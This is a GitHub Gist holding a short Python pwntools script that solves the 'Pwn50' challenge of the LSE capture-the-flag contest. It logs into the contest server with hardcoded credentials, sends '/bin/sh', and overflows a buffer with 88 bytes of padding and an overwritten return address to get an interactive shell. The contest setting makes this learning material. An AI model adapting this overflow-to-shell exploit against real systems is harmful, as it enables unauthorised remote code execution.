Created
March 14, 2017 21:02
-
-
Save faidamine/966abb7883e4038c7850d7bf8505a1ba to your computer and use it in GitHub Desktop.
LSE CTF - Pwn50
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#Author : Faid Amine | |
from pwn import * | |
#LSE{e4xxxxxxxxxxx} | |
#Login Info | |
user = "admin" | |
passw = "T6OBSh2i" | |
s = remote('ctf.lse.epita.fr',52190) | |
command = "/bin/sh" | |
off = 88 | |
#### PAYLOAD | |
payload = "A"*off | |
payload += p64(0x40084a) | |
## Connect | |
s.recvuntil("username: ") | |
s.sendline(user) | |
s.recvuntil("password: ") | |
s.sendline(passw) | |
s.recvuntil("choice: ") | |
s.sendline("1") | |
### Send Command /bin/sh | |
s.recvuntil("Command: ") | |
s.sendline(command) | |
### Send Payload | |
s.recvuntil("choice: ") | |
s.sendline(payload) | |
### Exit | |
s.recvuntil("choice: ") | |
s.sendline("3") | |
s.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment